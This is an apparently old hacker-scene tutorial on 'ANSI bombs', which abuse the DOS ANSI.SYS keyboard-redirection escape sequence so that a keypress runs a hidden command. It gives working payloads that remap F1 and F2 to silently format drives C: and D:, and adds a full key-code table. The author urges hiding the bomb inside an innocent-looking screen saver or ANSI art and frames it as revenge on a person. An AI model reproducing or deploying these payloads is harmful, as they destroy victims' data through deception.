A Good Application for ANSI Codes.....BOMBS!... ------------------------------------------------------------------- Well, in case you didn't know it, ANSI is a controller which handles a number of screen and keyboard functions. We are interested in the latter. [If you don't have ANSI,SYS, please call MicroSoft and buy MS-DOS (the original, of course. :-)] If you already have the controller, let's begin. The great advantage of this driver is the ability to redirect the keyboard. What does this mean?? Ok, this means that this driver can be programmed in such a way as to change the function of a specific key. Got it? What I'm leading up to is, once ANSI has been loaded, I can redefine the keys on the system. For example, instead of typing "DIR C:\WORKS", I could just press the "A" key. The logic is this: A <== DIR C:\WORKS Every time I press the "A" key I'll see the contents of that directory. This property can be used in other types of applications :-). For that reason, ANSI bombs are very useful. If we can slip one of the "bombs" into a system, we can gain control of it at some point in the future. An example: I'm having a bad day..... everything is going wrong... here comes a computer jock and starts busting my balls. Sooo... since I know how to set up ANSI bombs, I program a quick little bomb so that as soon as he runs it, it will reprogram the space bar to format his hard drive. This guy can't blame you, since all you gave him is a pretty screen saver. Then again, this guy may be aware of ANSI bombs, in which case we're fucked. Here's the ANSI code syntax: No need to be afraid of the strange codes; the syntax is as described and that's it. ESC[x,yH Move the cursor to an absolute position on the screen. Where 'x' is the Column and 'y' is the line. If the parameters aren't explicit, the cursor is moved to the beginning of the screen. ESC[nA Move the cursor up, where 'n' is the number of line the cursor will move. If the cursor reaches the top of the screen, it will remain there. ESC[nB Move the cursor down, where 'n' is the number of lines the cursor will move. If it reaches the bottom of the screen, it will remain there. ESC[nC Move the cursor to the right, where 'n' is the number of spaces the cursor is to move. If the cursor reaches the end of the line, it stays there. ESC[nD Move the cursor to the left, where 'n' is the number of spaces the cursor is to move. If it reaches the beginning of the line it stays there. ESC[s Saves the current position of the cursor into a buffer (to be restored later). ESC[u Restore the cursor's previous position (as saved by the previous command). ESC[2J Erases the screen and moves cursor to top left hand corner of the screen (home). ESC[K Erases the screen downwards, starting from and including the current cursor position. ESC[key;"command";13p Redirects the keyboard. All right, THIS is the function in which we're interested. KEY: this is where we put the code we want to re-direct. The CODE, not the key (letter, etc.). Each key on the keyboard has a code and each combination has a different one. Further down is a list of all the key codes. (If we forgot one, please tell us.) Separated from KEY by a ";" (semicolon) is the COMMAND, or the the code we will use to replace the one in the selected key. This string must go between either two single quotes or two double quotes. The 13 which is between "COMMAND"; and 'p' (lower case) is the code for ENTER, since ENTER cannot be represented with ASCII codes. For example, if we want to make F1 (code 0;59) call for a directory, we'd code: ESC[0;59;"dir";13p And if we want it to format a disk: ESC[0;59;"Echo Y|format c:/u";13p (The ECHO Y|, is to confirm the format.) To execute 2 commands at the same time type them on the same line with no intervening spaces between the commands. The example below redirects F1 and F2 to format 2 drives: ESC[0;59;"Echo S|format c:/u >nul";13pESC[0;60;"Echo S|format d:/u>nul";13p Key Code CAPS&+code CTRL+code ALT+code ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ F1 0;59 0;84 0;94 0;104 F2 0;60 0;85 0;95 0;105 F3 0;61 0;86 0;96 0;106 F4 0;62 0;87 0;97 0;107 F5 0;63 0;88 0;98 0;108 F6 0;64 0;89 0;99 0;109 F7 0;65 0;90 0;100 0;110 F8 0;66 0;91 0;101 0;111 F9 0;67 0;92 0;102 0;112 F10 0;68 0;93 0;103 0;113 F11 0;133 0;135 0;137 0;139 F12 0;134 0;136 0;138 0;140 Home (Numeric Keypad) 0;71 55 0;119 ÄÄ Up Arrow (Numeric Keypad) 0;72 56 (0;141) ÄÄ Page Up (Numeric Keypad) 0;73 57 0;132 ÄÄ Left Arrow (Numeric Keypad) 0;75 52 0;115 ÄÄ Right Arrow (Numeric Keypad) 0;77 54 0;116 ÄÄ End (Numeric Keypad) 0;79 49 0;117 ÄÄ Down Arrow (Numeric Keypad) 0;80 50 (0;145) ÄÄ Page Down (Numeric Keypad) 0;81 51 0;118 ÄÄ Insert (Numeric Keypad) 0;82 48 (0;146) ÄÄ Del (Numeric Keypad) 0;83 46 (0;147) ÄÄ Home (Gray Keypad) (224;71) (224;71) (224;119) (224;151) Up Arrow (Gray Keypad) (224;72) (224;72) (224;141) (224;152) Page Up (Gray Keypad) (224;73) (224;73) (224;132) (224;153) Left Arrow (Gray Keypad) (224;75) (224;75) (224;115) (224;155) Right Arrow (Gray Keypad) (224;77) (224;77) (224;116) (224;157) End (Gray Keypad) (224;79) (224;79) (224;117) (224;159) Down Arrow (Gray Keypad) (224;80) (224;80) (224;145) (224;154) Page Down (Gray Keypad) (224;81) (224;81) (224;118) (224;161) Insert (Gray Keypad) (224;82) (224;82) (224;146) (224;162) Del (Gray Keypad) (224;83) (224;83) (224;147) (224;163) Print Scrn ÄÄ ÄÄ 0;114 ÄÄ Pause/Break ÄÄ ÄÄ 0;0 ÄÄ BackSpace 8 8 127 (0) Enter 13 ÄÄ- 10 (0 Tab 9 0;15 (0;148) (0;165) Nul 0;3 ÄÄ ÄÄ ÄÄ a 97 65 1 0;30 b 98 66 2 0;48 c 99 66 3 0;46 d 100 68 4 0;32 e 101 69 5 0;18 f 102 70 6 0;33 g 103 71 7 0;34 h 104 72 8 0;35 i 105 73 9 0;23 j 106 74 10 0;36 k 107 75 11 0;37 l 108 76 12 0;38 m 109 77 13 0;50 n 110 78 14 0;49 o 111 79 15 0;24 p 112 80 16 0;25 q 113 81 17 0;16 r 114 82 18 0;19 s 115 83 19 0;31 t 116 84 20 0;20 u 117 85 21 0;22 v 118 86 22 0;47 w 119 87 23 0;17 x 120 88 24 0;45 y 121 89 25 0;21 z 122 90 26 0;44 1 49 33 ÄÄ- 0;120 2 50 64 0 0;121 3 51 35 ÄÄ- 0;122 4 52 36 ÄÄ- 0;123 5 53 37 ÄÄ- 0;124 6 54 94 30 0;125 7 55 38 ÄÄ- 0;126 8 56 42 ÄÄ- 0;126 9 57 40 ÄÄ- 0;127 0 48 41 ÄÄ- 0;129 - 45 95 31 0;130 = 61 43 ÄÄ- 0;131 [ 91 123 27 0;26 ] 93 125 29 0;27 92 124 28 0;43 ; 59 58 ÄÄ- 0;39 ' 39 34 ÄÄ- 0;40 , 44 60 ÄÄ- 0;51 . 46 62 ÄÄ- 0;52 / 47 63 ÄÄ- 0;53 ` 96 126 ÄÄ- (0;41) Enter (Numeric Keypad) 13 ÄÄ- 10 (0;166) / (Numeric Keypad) 47 47 (0;142) (0;74) * (Numeric Keypad) 42 (0;144) (0;78) ÄÄ- - (Numeric Keypad) 45 45 (0;149) (0;164) + (Numeric Keypad) 43 43 (0;150) (0;55) 5 (Numeric Keypad) (0;76) 53 (0;143) ÄÄ- Remarks: ^^^^^^^^ Anyone already familiar with ANSI knows that there are other functions, but they are moot in this case. I wrote ESC in all the codes... really, it's not ESC but its ASCII, which is 27 decimal or 1b hex; its symbol is the left-pointing arrow. For an ANSI to take EFFECT it must be typed. A word of advice, don't send a bare-bones ANSI bomb since that would be too obvious. Send it in some kind of ANSI screen, preferably at the end, just in case the key you selected is already redirected. That's all for today Until the next chapter........ Drako.